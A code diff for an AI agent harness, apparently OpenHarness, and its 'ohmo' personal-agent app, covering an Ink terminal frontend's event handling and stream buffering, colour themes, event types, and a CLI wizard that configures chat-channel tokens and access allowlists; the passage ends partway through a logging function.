const [selectRequest, setSelectRequest] = useState<{title: string; command: string; options: SelectOptionPayload[]} | null>(null);
const [busy, setBusy] = useState(false);
const [busyLabel, setBusyLabel] = useState<string | undefined>(undefined);
const [ready, setReady] = useState(false);
const [todoMarkdown, setTodoMarkdown] = useState('');
const [swarmTeammates, setSwarmTeammates] = useState<SwarmTeammateSnapshot[]>([]);
const [swarmNotifications, setSwarmNotifications] = useState<SwarmNotificationSnapshot[]>([]);
const statusRef = useRef<Record<string, unknown>>({});
const childRef = useRef<ChildProcessWithoutNullStreams | null>(null);
const sentInitialPrompt = useRef(false);
const lastStatusSnapshotRef = useRef('');
const lastTasksSnapshotRef = useRef('');
const lastMcpSnapshotRef = useRef('');
const lastBridgeSnapshotRef = useRef('');
// Streaming deltas can arrive one token at a time; updating Ink state for each
// delta causes heavy re-rendering/flicker. Buffer and flush at ~30fps.
const assistantBufferRef = useRef('');
const pendingAssistantDeltaRef = useRef('');
const assistantFlushTimerRef = useRef<NodeJS.Timeout | null>(null);
const pendingTranscriptItemsRef = useRef<TranscriptItem[]>([]);
const transcriptFlushTimerRef = useRef<NodeJS.Timeout | null>(null);
const flushAssistantDelta = (): void => {
const pending = pendingAssistantDeltaRef.current;
if (!pending) {
return;
}
pendingAssistantDeltaRef.current = '';
assistantBufferRef.current += pending;
startTransition(() => {
setAssistantBuffer(assistantBufferRef.current);
});
};
const flushTranscriptItems = (): void => {
const pending = pendingTranscriptItemsRef.current;
if (pending.length === 0) {
return;
}
pendingTranscriptItemsRef.current = [];
startTransition(() => {
setTranscript((items) => [...items, ...pending]);
});
};
const queueTranscriptItem = (item: TranscriptItem): void => {
pendingTranscriptItemsRef.current.push(item);
if (!transcriptFlushTimerRef.current) {
transcriptFlushTimerRef.current = setTimeout(() => {
transcriptFlushTimerRef.current = null;
flushTranscriptItems();
}, TRANSCRIPT_EVENT_FLUSH_MS);
}
};
const clearAssistantDelta = (): void => {
pendingAssistantDeltaRef.current = '';
assistantBufferRef.current = '';
if (assistantFlushTimerRef.current) {
clearTimeout(assistantFlushTimerRef.current);
assistantFlushTimerRef.current = null;
}
setAssistantBuffer('');
};
const clearPendingTranscriptItems = (): void => {
pendingTranscriptItemsRef.current = [];
if (transcriptFlushTimerRef.current) {
clearTimeout(transcriptFlushTimerRef.current);
transcriptFlushTimerRef.current = null;
}
};
const sendRequest = (payload: Record<string, unknown>): void => {
const child = childRef.current;
@@ -38,16 +114,21 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
useEffect(() => {
const [command, ...args] = config.backend_command;
const useDetachedGroup = process.platform !== 'win32';
const child = spawn(command, args, {
stdio: ['pipe', 'pipe', 'inherit'],
env: process.env,
// On Windows, a detached child gets its own console window and can
// flash open/closed. Keep detached groups for POSIX only.
detached: useDetachedGroup,
windowsHide: true,
});
childRef.current = child;
const reader = readline.createInterface({input: child.stdout});
reader.on('line', (line) => {
if (!line.startsWith(PROTOCOL_PREFIX)) {
setTranscript((items) => [...items, {role: 'log', text: line}]);
queueTranscriptItem({role: 'log', text: line});
return;
}
const event = JSON.parse(line.slice(PROTOCOL_PREFIX.length)) as BackendEvent;
@@ -55,26 +136,72 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
});
child.on('exit', (code) => {
setTranscript((items) => [...items, {role: 'system', text: `backend exited with code ${code ?? 0}`}]);
flushTranscriptItems();
queueTranscriptItem({role: 'system', text: `backend exited with code ${code ?? 0}`});
process.exitCode = code ?? 0;
onExit(code);
});
// Ensure child processes are killed on parent exit (prevents stale processes)
const killChild = (): void => {
if (!child.killed) {
// Kill the whole process group on POSIX. On Windows, terminate the
// direct child to avoid relying on negative PIDs.
try {
if (useDetachedGroup && child.pid) {
process.kill(-child.pid, 'SIGTERM');
} else {
child.kill('SIGTERM');
}
} catch {
child.kill('SIGTERM');
}
}
if (assistantFlushTimerRef.current) {
clearTimeout(assistantFlushTimerRef.current);
assistantFlushTimerRef.current = null;
}
clearPendingTranscriptItems();
};
process.on('exit', killChild);
process.on('SIGINT', killChild);
process.on('SIGTERM', killChild);
return () => {
reader.close();
if (!child.killed) {
child.kill();
}
killChild();
process.removeListener('exit', killChild);
process.removeListener('SIGINT', killChild);
process.removeListener('SIGTERM', killChild);
};
}, []);
const handleEvent = (event: BackendEvent): void => {
if (event.type === 'ready') {
setStatus(event.state ?? {});
setTasks(event.tasks ?? []);
setReady(true);
const statusSnapshot = stableStringify(event.state ?? {});
lastStatusSnapshotRef.current = statusSnapshot;
const nextStatus = event.state ?? {};
statusRef.current = nextStatus;
startTransition(() => {
setStatus(nextStatus);
});
const tasksSnapshot = stableStringify(event.tasks ?? []);
lastTasksSnapshotRef.current = tasksSnapshot;
startTransition(() => {
setTasks(event.tasks ?? []);
});
setCommands(event.commands ?? []);
setMcpServers(event.mcp_servers ?? []);
setBridgeSessions(event.bridge_sessions ?? []);
const mcpSnapshot = stableStringify(event.mcp_servers ?? []);
lastMcpSnapshotRef.current = mcpSnapshot;
startTransition(() => {
setMcpServers(event.mcp_servers ?? []);
});
const bridgeSnapshot = stableStringify(event.bridge_sessions ?? []);
lastBridgeSnapshotRef.current = bridgeSnapshot;
startTransition(() => {
setBridgeSessions(event.bridge_sessions ?? []);
});
if (config.initial_prompt && !sentInitialPrompt.current) {
sentInitialPrompt.current = true;
sendRequest({type: 'submit_line', line: config.initial_prompt});
@@ -83,54 +210,176 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
return;
}
if (event.type === 'state_snapshot') {
setStatus(event.state ?? {});
setMcpServers(event.mcp_servers ?? []);
setBridgeSessions(event.bridge_sessions ?? []);
const statusSnapshot = stableStringify(event.state ?? {});
if (statusSnapshot !== lastStatusSnapshotRef.current) {
lastStatusSnapshotRef.current = statusSnapshot;
const nextStatus = event.state ?? {};
statusRef.current = nextStatus;
startTransition(() => {
setStatus(nextStatus);
});
}
const mcpSnapshot = stableStringify(event.mcp_servers ?? []);
if (mcpSnapshot !== lastMcpSnapshotRef.current) {
lastMcpSnapshotRef.current = mcpSnapshot;
startTransition(() => {
setMcpServers(event.mcp_servers ?? []);
});
}
const bridgeSnapshot = stableStringify(event.bridge_sessions ?? []);
if (bridgeSnapshot !== lastBridgeSnapshotRef.current) {
lastBridgeSnapshotRef.current = bridgeSnapshot;
startTransition(() => {
setBridgeSessions(event.bridge_sessions ?? []);
});
}
return;
}
if (event.type === 'tasks_snapshot') {
setTasks(event.tasks ?? []);
const tasksSnapshot = stableStringify(event.tasks ?? []);
if (tasksSnapshot !== lastTasksSnapshotRef.current) {
lastTasksSnapshotRef.current = tasksSnapshot;
startTransition(() => {
setTasks(event.tasks ?? []);
});
}
return;
}
if (event.type === 'transcript_item' && event.item) {
setTranscript((items) => [...items, event.item as TranscriptItem]);
queueTranscriptItem(event.item as TranscriptItem);
return;
}
if (event.type === 'status') {
const message = event.message?.trim();
if (!message) {
return;
}
queueTranscriptItem({role: 'status', text: message});
if (busy) {
setBusyLabel(message);
}
return;
}
if (event.type === 'compact_progress') {
const phase = String(event.compact_phase ?? '');
const trigger = String(event.compact_trigger ?? '');
const attempt = event.attempt != null ? Number(event.attempt) : undefined;
if (phase === 'hooks_start') {
setBusyLabel(
trigger === 'reactive'
? 'Preparing retry compaction…'
: 'Preparing conversation compaction…',
);
} else if (phase === 'context_collapse_start') {
setBusyLabel('Collapsing oversized context…');
} else if (phase === 'context_collapse_end') {
setBusyLabel('Context collapse complete…');
} else if (phase === 'session_memory_start') {
setBusyLabel('Condensing earlier conversation…');
} else if (phase === 'compact_start') {
setBusyLabel(
trigger === 'reactive'
? 'Context is too large. Compacting and retrying…'
: 'Compacting conversation memory…',
);
} else if (phase === 'compact_retry') {
setBusyLabel(attempt ? `Retrying compaction (${attempt})…` : 'Retrying compaction…');
} else if (phase === 'compact_end') {
setBusyLabel('Compaction complete. Continuing…');
} else if (phase === 'compact_failed') {
setBusyLabel('Compaction failed. Continuing without it…');
}
if (event.message) {
queueTranscriptItem({role: 'status', text: event.message!});
}
return;
}
if (event.type === 'assistant_delta') {
setAssistantBuffer((value) => value + (event.message ?? ''));
const delta = event.message ?? '';
if (!delta) {
return;
}
const isCodexStyle = String(statusRef.current.output_style ?? 'default') === 'codex';
if (isCodexStyle) {
// Keep collecting text for assistant_complete fallback, but avoid
// token-level rerenders in compact codex mode.
assistantBufferRef.current += delta;
return;
}
pendingAssistantDeltaRef.current += delta;
if (pendingAssistantDeltaRef.current.length >= ASSISTANT_DELTA_FLUSH_CHARS) {
flushAssistantDelta();
return;
}
if (!assistantFlushTimerRef.current) {
assistantFlushTimerRef.current = setTimeout(() => {
assistantFlushTimerRef.current = null;
flushAssistantDelta();
}, ASSISTANT_DELTA_FLUSH_MS);
}
return;
}
if (event.type === 'assistant_complete') {
const text = event.message ?? assistantBuffer;
setTranscript((items) => [...items, {role: 'assistant', text}]);
setAssistantBuffer('');
setBusy(false);
if (assistantFlushTimerRef.current) {
clearTimeout(assistantFlushTimerRef.current);
assistantFlushTimerRef.current = null;
}
flushTranscriptItems();
const isCodexStyle = String(statusRef.current.output_style ?? 'default') === 'codex';
if (isCodexStyle) {
if (pendingAssistantDeltaRef.current) {
assistantBufferRef.current += pendingAssistantDeltaRef.current;
pendingAssistantDeltaRef.current = '';
}
} else {
flushAssistantDelta();
}
const text = event.message ?? assistantBufferRef.current;
startTransition(() => {
setTranscript((items) => [...items, {role: 'assistant', text}]);
});
clearAssistantDelta();
// Do NOT reset busy here: tool calls may follow this event.
// busy is reset by line_complete (the true end-of-turn signal).
setBusyLabel(undefined);
return;
}
if (event.type === 'line_complete') {
// Final end-of-turn: clear everything, stop spinner.
clearAssistantDelta();
setBusy(false);
setBusyLabel(undefined);
return;
}
if ((event.type === 'tool_started' || event.type === 'tool_completed') && event.item) {
if (event.type === 'tool_started') {
setBusy(true);
setBusyLabel(`Running ${event.tool_name ?? 'tool'}...`);
} else {
setBusyLabel('Processing...');
}
const enrichedItem: TranscriptItem = {
...event.item,
tool_name: event.item.tool_name ?? event.tool_name ?? undefined,
tool_input: event.item.tool_input ?? undefined,
is_error: event.item.is_error ?? event.is_error ?? undefined,
};
setTranscript((items) => [...items, enrichedItem]);
queueTranscriptItem(enrichedItem);
return;
}
if (event.type === 'clear_transcript') {
flushTranscriptItems();
clearPendingTranscriptItems();
setTranscript([]);
setAssistantBuffer('');
clearAssistantDelta();
setBusyLabel(undefined);
return;
}
if (event.type === 'select_request') {
const m = event.modal ?? {};
setSelectRequest({
title: String(m.title ?? 'Select'),
submitPrefix: String(m.submit_prefix ?? ''),
command: String(m.command ?? ''),
options: event.select_options ?? [],
});
return;
@@ -140,8 +389,44 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
return;
}
if (event.type === 'error') {
setTranscript((items) => [...items, {role: 'system', text: `error: ${event.message ?? 'unknown error'}`}]);
flushTranscriptItems();
queueTranscriptItem({role: 'system', text: `error: ${event.message ?? 'unknown error'}`});
clearAssistantDelta();
setBusy(false);
setBusyLabel(undefined);
return;
}
if (event.type === 'todo_update') {
if (event.todo_markdown != null) {
startTransition(() => {
setTodoMarkdown(event.todo_markdown);
});
}
return;
}
if (event.type === 'swarm_status') {
if (event.swarm_teammates != null) {
startTransition(() => {
setSwarmTeammates(event.swarm_teammates);
});
}
if (event.swarm_notifications != null) {
startTransition(() => {
setSwarmNotifications((prev) => [...prev, ...event.swarm_notifications!].slice(-20));
});
}
return;
}
if (event.type === 'plan_mode_change') {
if (event.plan_mode != null) {
startTransition(() => {
setStatus((s) => {
const next = {...s, permission_mode: event.plan_mode};
statusRef.current = next;
return next;
});
});
}
return;
}
if (event.type === 'shutdown') {
@@ -161,11 +446,17 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
modal,
selectRequest,
busy,
busyLabel,
ready,
todoMarkdown,
swarmTeammates,
swarmNotifications,
setModal,
setSelectRequest,
setBusy,
setBusyLabel,
sendRequest,
}),
[assistantBuffer, bridgeSessions, busy, commands, mcpServers, modal, selectRequest, status, tasks, transcript]
[assistantBuffer, bridgeSessions, busy, busyLabel, commands, mcpServers, modal, ready, selectRequest, status, swarmNotifications, swarmTeammates, tasks, todoMarkdown, transcript]
);
}
+73 -1
View File
@@ -1,9 +1,81 @@
import React from 'react';
import {render} from 'ink';
import fs from 'node:fs';
import tty from 'node:tty';
import {App} from './App.js';
import type {FrontendConfig} from './types.js';
// Guard against EIO crashes in both stdin reads and setRawMode calls.
// Ink's React reconciler calls setRawMode during mount/unmount which can
// throw EIO in certain terminal environments (SSH, tmux, Docker).
process.stdin.on('error', (err: NodeJS.ErrnoException) => {
if (err.code === 'EIO' || err.code === 'EAGAIN') {
process.exit(1);
}
throw err;
});
if (process.stdin.isTTY && typeof process.stdin.setRawMode === 'function') {
const origSetRawMode = process.stdin.setRawMode.bind(process.stdin);
process.stdin.setRawMode = (mode: boolean) => {
try {
return origSetRawMode(mode);
} catch (err: any) {
if (err?.code === 'EIO' || err?.code === 'EAGAIN') {
process.exit(1);
}
throw err;
}
};
}
process.on('uncaughtException', (err: NodeJS.ErrnoException) => {
if (err.code === 'EIO' || err.code === 'EAGAIN') {
process.exit(1);
}
throw err;
});
const config = JSON.parse(process.env.OPENHARNESS_FRONTEND_CONFIG ?? '{}') as FrontendConfig;
render(<App config={config} />);
// Restore terminal cursor visibility on exit (Ink hides it by default).
// Also write a newline so the shell prompt starts on a fresh line and does
// not run into the last line of the TUI output.
const restoreTerminal = (): void => {
process.stdout.write('\x1B[?25h\n');
};
process.on('exit', restoreTerminal);
process.on('SIGINT', () => {
restoreTerminal();
process.exit(130);
});
process.on('SIGTERM', () => {
restoreTerminal();
process.exit(143);
});
// On WSL / Windows the process-spawning chain (npm exec → tsx → node) can
// lose the TTY on stdin, which prevents Ink's useInput from enabling raw mode.
// When that happens, open /dev/tty directly to get a real TTY stream.
let stdinStream: NodeJS.ReadStream & {fd: 0} = process.stdin;
let ttyFd: number | undefined;
if (!process.stdin.isTTY) {
try {
ttyFd = fs.openSync('/dev/tty', 'r');
const ttyStream = new tty.ReadStream(ttyFd);
// Cast is safe — tty.ReadStream is a full readable TTY stream
stdinStream = ttyStream as unknown as NodeJS.ReadStream & {fd: 0};
} catch {
// /dev/tty unavailable (e.g. non-interactive CI) — fall back to process.stdin
}
}
process.on('exit', () => {
if (ttyFd !== undefined) {
try { fs.closeSync(ttyFd); } catch { /* ignore */ }
}
});
render(<App config={config} />, {stdin: stdinStream});
@@ -0,0 +1,40 @@
import React, {createContext, useContext, useState} from 'react';
import {type ThemeConfig, BUILTIN_THEMES, defaultTheme, getTheme} from './builtinThemes.js';
export type {ThemeConfig};
type ThemeContextValue = {
theme: ThemeConfig;
setThemeName: (name: string) => void;
};
const ThemeContext = createContext<ThemeContextValue>({
theme: defaultTheme,
setThemeName: () => undefined,
});
export function ThemeProvider({
children,
initialTheme = 'default',
}: {
children: React.ReactNode;
initialTheme?: string;
}): React.JSX.Element {
const [theme, setTheme] = useState<ThemeConfig>(() => getTheme(initialTheme));
const setThemeName = (name: string): void => {
const resolved = BUILTIN_THEMES[name] ?? defaultTheme;
setTheme(resolved);
};
return (
<ThemeContext.Provider value={{theme, setThemeName}}>
{children}
</ThemeContext.Provider>
);
}
export function useTheme(): ThemeContextValue {
return useContext(ThemeContext);
}
@@ -0,0 +1,161 @@
export type ThemeConfig = {
name: string;
colors: {
primary: string;
secondary: string;
accent: string;
foreground: string;
background: string;
muted: string;
success: string;
warning: string;
error: string;
info: string;
};
icons: {
spinner: string[];
tool: string;
assistant: string;
user: string;
system: string;
success: string;
error: string;
};
};
export const defaultTheme: ThemeConfig = {
name: 'default',
colors: {
primary: 'cyan',
secondary: 'white',
accent: 'cyan',
foreground: 'white',
background: 'black',
muted: 'gray',
success: 'green',
warning: 'yellow',
error: 'red',
info: 'blue',
},
icons: {
spinner: ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏'],
tool: ' ⏵ ',
assistant: '⏺ ',
user: '> ',
system: ' ',
success: '✓ ',
error: '✗ ',
},
};
export const darkTheme: ThemeConfig = {
name: 'dark',
colors: {
primary: '#7aa2f7',
secondary: '#c0caf5',
accent: '#bb9af7',
foreground: '#c0caf5',
background: '#1a1b26',
muted: '#565f89',
success: '#9ece6a',
warning: '#e0af68',
error: '#f7768e',
info: '#7dcfff',
},
icons: {
spinner: ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏'],
tool: ' ⏵ ',
assistant: '⏺ ',
user: '> ',
system: ' ',
success: '✓ ',
error: '✗ ',
},
};
export const minimalTheme: ThemeConfig = {
name: 'minimal',
colors: {
primary: 'white',
secondary: 'white',
accent: 'white',
foreground: 'white',
background: 'black',
muted: 'gray',
success: 'white',
warning: 'white',
error: 'white',
info: 'white',
},
icons: {
spinner: ['-', '\\', '|', '/'],
tool: ' > ',
assistant: ': ',
user: '> ',
system: '# ',
success: '+ ',
error: '! ',
},
};
export const cyberpunkTheme: ThemeConfig = {
name: 'cyberpunk',
colors: {
primary: '#ff007c',
secondary: '#00fff9',
accent: '#ffe600',
foreground: '#00fff9',
background: '#0d0d0d',
muted: '#444444',
success: '#00ff41',
warning: '#ffe600',
error: '#ff003c',
info: '#00fff9',
},
icons: {
spinner: ['◐', '◓', '◑', '◒'],
tool: ' ▶ ',
assistant: '◆ ',
user: '▸ ',
system: '⚡ ',
success: '✦ ',
error: '✖ ',
},
};
export const solarizedTheme: ThemeConfig = {
name: 'solarized',
colors: {
primary: '#268bd2',
secondary: '#839496',
accent: '#2aa198',
foreground: '#839496',
background: '#002b36',
muted: '#586e75',
success: '#859900',
warning: '#b58900',
error: '#dc322f',
info: '#268bd2',
},
icons: {
spinner: ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏'],
tool: ' ⏵ ',
assistant: '⏺ ',
user: '> ',
system: ' ',
success: '✓ ',
error: '✗ ',
},
};
export const BUILTIN_THEMES: Record<string, ThemeConfig> = {
default: defaultTheme,
dark: darkTheme,
minimal: minimalTheme,
cyberpunk: cyberpunkTheme,
solarized: solarizedTheme,
};
export function getTheme(name: string): ThemeConfig {
return BUILTIN_THEMES[name] ?? defaultTheme;
}
+31 -1
View File
@@ -4,7 +4,7 @@ export type FrontendConfig = {
};
export type TranscriptItem = {
role: 'system' | 'user' | 'assistant' | 'tool' | 'tool_result' | 'log';
role: 'system' | 'user' | 'assistant' | 'tool' | 'tool_result' | 'log' | 'status';
text: string;
tool_name?: string;
tool_input?: Record<string, unknown>;
@@ -43,6 +43,25 @@ export type SelectOptionPayload = {
value: string;
label: string;
description?: string;
active?: boolean;
};
export type TodoItemSnapshot = {
text: string;
checked: boolean;
};
export type SwarmTeammateSnapshot = {
name: string;
status: 'running' | 'idle' | 'done' | 'error';
duration?: number;
task?: string;
};
export type SwarmNotificationSnapshot = {
from: string;
message: string;
timestamp: number;
};
export type BackendEvent = {
@@ -59,4 +78,15 @@ export type BackendEvent = {
tool_name?: string | null;
output?: string | null;
is_error?: boolean | null;
compact_phase?: string | null;
compact_trigger?: string | null;
attempt?: number | null;
compact_checkpoint?: string | null;
compact_metadata?: Record<string, unknown> | null;
// New event payloads
todo_items?: TodoItemSnapshot[] | null;
todo_markdown?: string | null;
plan_mode?: string | null;
swarm_teammates?: SwarmTeammateSnapshot[] | null;
swarm_notifications?: SwarmNotificationSnapshot[] | null;
};
+5
View File
@@ -0,0 +1,5 @@
"""ohmo personal agent app built on top of OpenHarness."""
__all__ = ["__version__"]
__version__ = "0.1.9"
+8
View File
@@ -0,0 +1,8 @@
"""Module entry point for ``python -m ohmo``."""
from ohmo.cli import app
if __name__ == "__main__":
app()
+675
View File
@@ -0,0 +1,675 @@
"""CLI entry point for the ohmo personal-agent app."""
from __future__ import annotations
import asyncio
import logging
import sys
from pathlib import Path
import typer
from openharness.auth.manager import AuthManager
from openharness.config import load_settings
from ohmo.gateway.config import load_gateway_config, save_gateway_config
from ohmo.gateway.models import GatewayConfig
from ohmo.gateway.service import (
OhmoGatewayService,
gateway_status,
start_gateway_process,
stop_gateway_process,
)
from ohmo.memory import add_memory_entry, list_memory_files, remove_memory_entry
from ohmo.runtime import launch_ohmo_react_tui, run_ohmo_backend, run_ohmo_print_mode
from ohmo.session_storage import OhmoSessionBackend
from ohmo.workspace import (
get_gateway_config_path,
get_workspace_root,
get_soul_path,
get_state_path,
get_user_path,
initialize_workspace,
workspace_health,
)
app = typer.Typer(
name="ohmo",
help="ohmo: a personal-agent app built on top of OpenHarness.",
invoke_without_command=True,
add_completion=False,
)
memory_app = typer.Typer(name="memory", help="Manage .ohmo memory")
soul_app = typer.Typer(name="soul", help="Inspect or edit soul.md")
user_app = typer.Typer(name="user", help="Inspect or edit user.md")
gateway_app = typer.Typer(name="gateway", help="Run the ohmo gateway")
app.add_typer(memory_app)
app.add_typer(soul_app)
app.add_typer(user_app)
app.add_typer(gateway_app)
_INTERACTIVE_CHANNELS = ("telegram", "slack", "discord", "feishu")
_WORKSPACE_HELP = "Path to the ohmo workspace (defaults to ~/.ohmo)"
def _can_use_questionary() -> bool:
"""Return True when a real interactive terminal is available."""
if not (sys.stdin.isatty() and sys.stdout.isatty()):
return False
if sys.stdin is not sys.__stdin__ or sys.stdout is not sys.__stdout__:
return False
try:
import questionary # noqa: F401
except ImportError:
return False
return True
def _select_with_questionary(
title: str,
options: list[tuple[str, str]],
*,
default_value: str | None = None,
) -> str:
import questionary
choices = [
questionary.Choice(
title=label,
value=value,
checked=(value == default_value),
)
for value, label in options
]
result = questionary.select(title, choices=choices, default=default_value).ask()
if result is None:
raise typer.Abort()
return str(result)
def _confirm_prompt(message: str, *, default: bool = False) -> bool:
"""Ask for confirmation, preferring questionary in a real TTY."""
if _can_use_questionary():
import questionary
result = questionary.confirm(message, default=default).ask()
if result is None:
raise typer.Abort()
return bool(result)
return typer.confirm(message, default=default)
def _text_prompt(message: str, *, default: str = "") -> str:
"""Prompt for text input, preferring questionary in a real TTY."""
if _can_use_questionary():
import questionary
result = questionary.text(message, default=default).ask()
if result is None:
raise typer.Abort()
return str(result)
return typer.prompt(message, default=default)
def _select_from_menu(
title: str,
options: list[tuple[str, str]],
*,
default_value: str | None = None,
) -> str:
"""Render a simple numbered picker and return the selected value."""
if _can_use_questionary():
return _select_with_questionary(title, options, default_value=default_value)
print(title)
default_index = 1
for index, (value, label) in enumerate(options, 1):
marker = " (default)" if value == default_value else ""
if value == default_value:
default_index = index
print(f" {index}. {label}{marker}")
raw = typer.prompt("Choose", default=str(default_index))
try:
selected = options[int(raw) - 1]
except (ValueError, IndexError):
raise typer.BadParameter(f"Invalid selection: {raw}") from None
return selected[0]
def _format_provider_profile_label(info: dict[str, object]) -> str:
label = str(info["label"])
if bool(info["configured"]):
return label
return f"{label} (missing)"
def _prompt_provider_profile(workspace: str | Path) -> str:
settings = load_settings()
statuses = AuthManager(settings).get_profile_statuses()
default_value = load_gateway_config(workspace).provider_profile
hints = {
"claude-api": ("Claude / Kimi / GLM / MiniMax", "fg:#7aa2f7"),
"openai-compatible": ("OpenAI / OpenRouter", "fg:#9ece6a"),
}
if _can_use_questionary():
import questionary
choices = []
for name, info in statuses.items():
label = str(info["label"])
missing = "" if bool(info["configured"]) else " (missing)"
hint = hints.get(name)
if hint is None:
title = label if not missing else [("", label), ("fg:#d3869b", missing)]
else:
hint_text, hint_style = hint
title = [
("", f"{label} "),
(hint_style, hint_text),
]
if missing:
title.extend([("", " "), ("fg:#d3869b", missing.strip())])
choices.append(questionary.Choice(title=title, value=name, checked=(name == default_value)))
result = questionary.select("Choose provider profile for ohmo:", choices=choices, default=default_value).ask()
if result is None:
raise typer.Abort()
return str(result)
options = []
for name, info in statuses.items():
label = _format_provider_profile_label(info)
hint = hints.get(name)
if hint is not None:
label = f"{label} ({hint[0]})"
options.append((name, label))
return _select_from_menu(
"Choose provider profile for ohmo:",
options,
default_value=default_value,
)
def _prompt_channels(existing: GatewayConfig) -> tuple[list[str], dict[str, dict]]:
enabled: list[str] = []
configs: dict[str, dict] = {}
print("Configure channels for ohmo gateway:")
for channel in _INTERACTIVE_CHANNELS:
current = channel in existing.enabled_channels
prior = dict(existing.channel_configs.get(channel, {}))
if current:
enabled.append(channel)
if not _confirm_prompt(f"Reconfigure {channel}?", default=False):
configs[channel] = prior
continue
elif not _confirm_prompt(f"Enable {channel}?", default=False):
continue
else:
enabled.append(channel)
allow_from_raw = _text_prompt(
f"{channel} allow_from (comma separated user/chat IDs; leave blank to deny all; '*' for everyone)",
default=",".join(prior.get("allow_from", [])),
)
allow_from = [item.strip() for item in allow_from_raw.split(",") if item.strip()]
config: dict[str, object] = {"allow_from": allow_from}
if channel == "telegram":
config["token"] = _text_prompt(
"Telegram bot token",
default=str(prior.get("token", "")),
)
config["reply_to_message"] = _confirm_prompt(
"Reply to the original Telegram message?",
default=bool(prior.get("reply_to_message", True)),
)
elif channel == "slack":
config["bot_token"] = _text_prompt(
"Slack bot token",
default=str(prior.get("bot_token", "")),
)
config["app_token"] = _text_prompt(
"Slack app token",
default=str(prior.get("app_token", "")),
)
config["mode"] = "socket"
config["reply_in_thread"] = _confirm_prompt(
"Reply in thread?",
default=bool(prior.get("reply_in_thread", True)),
)
config["group_policy"] = _select_from_menu(
"Slack group policy:",
[
("mention", "Mention only"),
("open", "Always reply in channels"),
("allowlist", "Only allow configured channels"),
],
default_value=str(prior.get("group_policy", "mention")),
)
elif channel == "discord":
config["token"] = _text_prompt(
"Discord bot token",
default=str(prior.get("token", "")),
)
config["gateway_url"] = _text_prompt(
"Discord gateway URL",
default=str(prior.get("gateway_url", "wss://gateway.discord.gg/?v=10&encoding=json")),
)
config["intents"] = int(
_text_prompt(
"Discord intents bitmask",
default=str(prior.get("intents", 513)),
)
)
config["group_policy"] = _select_from_menu(
"Discord group policy:",
[
("mention", "Mention only"),
("open", "Always reply in channels"),
],
default_value=str(prior.get("group_policy", "mention")),
)
elif channel == "feishu":
config["app_id"] = _text_prompt(
"Feishu app id",
default=str(prior.get("app_id", "")),
)
config["app_secret"] = _text_prompt(
"Feishu app secret",
default=str(prior.get("app_secret", "")),
)
config["encrypt_key"] = _text_prompt(
"Feishu encrypt key",
default=str(prior.get("encrypt_key", "")),
)
config["verification_token"] = _text_prompt(
"Feishu verification token",
default=str(prior.get("verification_token", "")),
)
config["react_emoji"] = _text_prompt(
"Feishu reaction emoji",
default=str(prior.get("react_emoji", "OK")),
)
config["group_policy"] = _select_from_menu(
"Feishu group policy:",
[
("managed_or_mention", "Managed groups open; other groups require @mention"),
("mention", "Always require @mention in groups"),
("open", "Always reply to group messages"),
],
default_value=str(prior.get("group_policy", "managed_or_mention")),
)
prior_bot_names = prior.get("bot_names", ["ohmo", "openclaw", "openharness"])
if isinstance(prior_bot_names, str):
prior_bot_names_default = prior_bot_names
else:
prior_bot_names_default = ",".join(str(item) for item in prior_bot_names)
bot_names_raw = _text_prompt(
"Feishu bot mention names (comma separated)",
default=prior_bot_names_default,
)
config["bot_names"] = [item.strip() for item in bot_names_raw.split(",") if item.strip()]
config["bot_open_id"] = _text_prompt(
"Feishu bot open_id for exact mention detection (optional)",
default=str(prior.get("bot_open_id", "")),
)
configs[channel] = config
return enabled, configs
def _run_gateway_config_wizard(workspace: str | Path) -> GatewayConfig:
"""Interactive flow for provider/channel setup."""
existing = load_gateway_config(workspace)
provider_profile = _prompt_provider_profile(workspace)
enabled_channels, channel_configs = _prompt_channels(existing)
send_progress = _confirm_prompt(
"Send progress updates to channels?",
default=existing.send_progress,
)
send_tool_hints = _confirm_prompt(
"Send tool hints to channels?",
default=existing.send_tool_hints,
)
allow_remote_admin_commands = _confirm_prompt(
"Allow explicitly listed administrative slash commands from remote channels?",
default=existing.allow_remote_admin_commands,
)
default_allowlist = ", ".join(existing.allowed_remote_admin_commands)
allowed_remote_admin_commands: list[str] = []
if allow_remote_admin_commands:
allowlist_raw = _text_prompt(
"Allowed remote admin commands (comma-separated, e.g. permissions, plan)",
default=default_allowlist,
)
allowed_remote_admin_commands = [
item.strip().lstrip("/")
for item in allowlist_raw.split(",")
if item.strip()
]
config = existing.model_copy(
update={
"provider_profile": provider_profile,
"enabled_channels": enabled_channels,
"channel_configs": channel_configs,
"send_progress": send_progress,
"send_tool_hints": send_tool_hints,
"allow_remote_admin_commands": allow_remote_admin_commands,
"allowed_remote_admin_commands": allowed_remote_admin_commands,
}
)
save_gateway_config(config, workspace)
return config
def _print_gateway_config_summary(config: GatewayConfig) -> None:
if config.enabled_channels:
print(
"Configured channels: "
+ ", ".join(config.enabled_channels)
+ f" | provider_profile={config.provider_profile}"
)
deny_all_channels = [
name for name in config.enabled_channels
if not list(config.channel_configs.get(name, {}).get("allow_from", []))
]
if deny_all_channels:
print(
"Remote access denied until allow_from is configured for: "
+ ", ".join(deny_all_channels)
)
else:
print(f"Configured provider_profile={config.provider_profile}; no channels enabled yet.")
if config.allow_remote_admin_commands and config.allowed_remote_admin_commands:
print(
"Remote admin opt-in enabled for: "
+ ", ".join(f"/{name}" for name in config.allowed_remote_admin_commands)
)
else:
print("Remote admin commands remain local-only.")
def _maybe_restart_gateway(*, cwd: str | Path, workspace: str | Path) -> None:
state = gateway_status(cwd, workspace)
if not state.running:
return
if not _confirm_prompt("Gateway is running. Restart now to apply changes?", default=True):
print("Configuration saved. Restart later with `ohmo gateway restart`.")
return
stop_gateway_process(cwd, workspace)
pid = start_gateway_process(cwd, workspace)
print(f"ohmo gateway restarted (pid={pid})")
def _configure_gateway_logging(workspace: str | Path | None = None) -> None:
"""Configure foreground gateway logging."""
config = load_gateway_config(workspace)
level_name = str(config.log_level or "INFO").upper()
level = getattr(logging, level_name, logging.INFO)
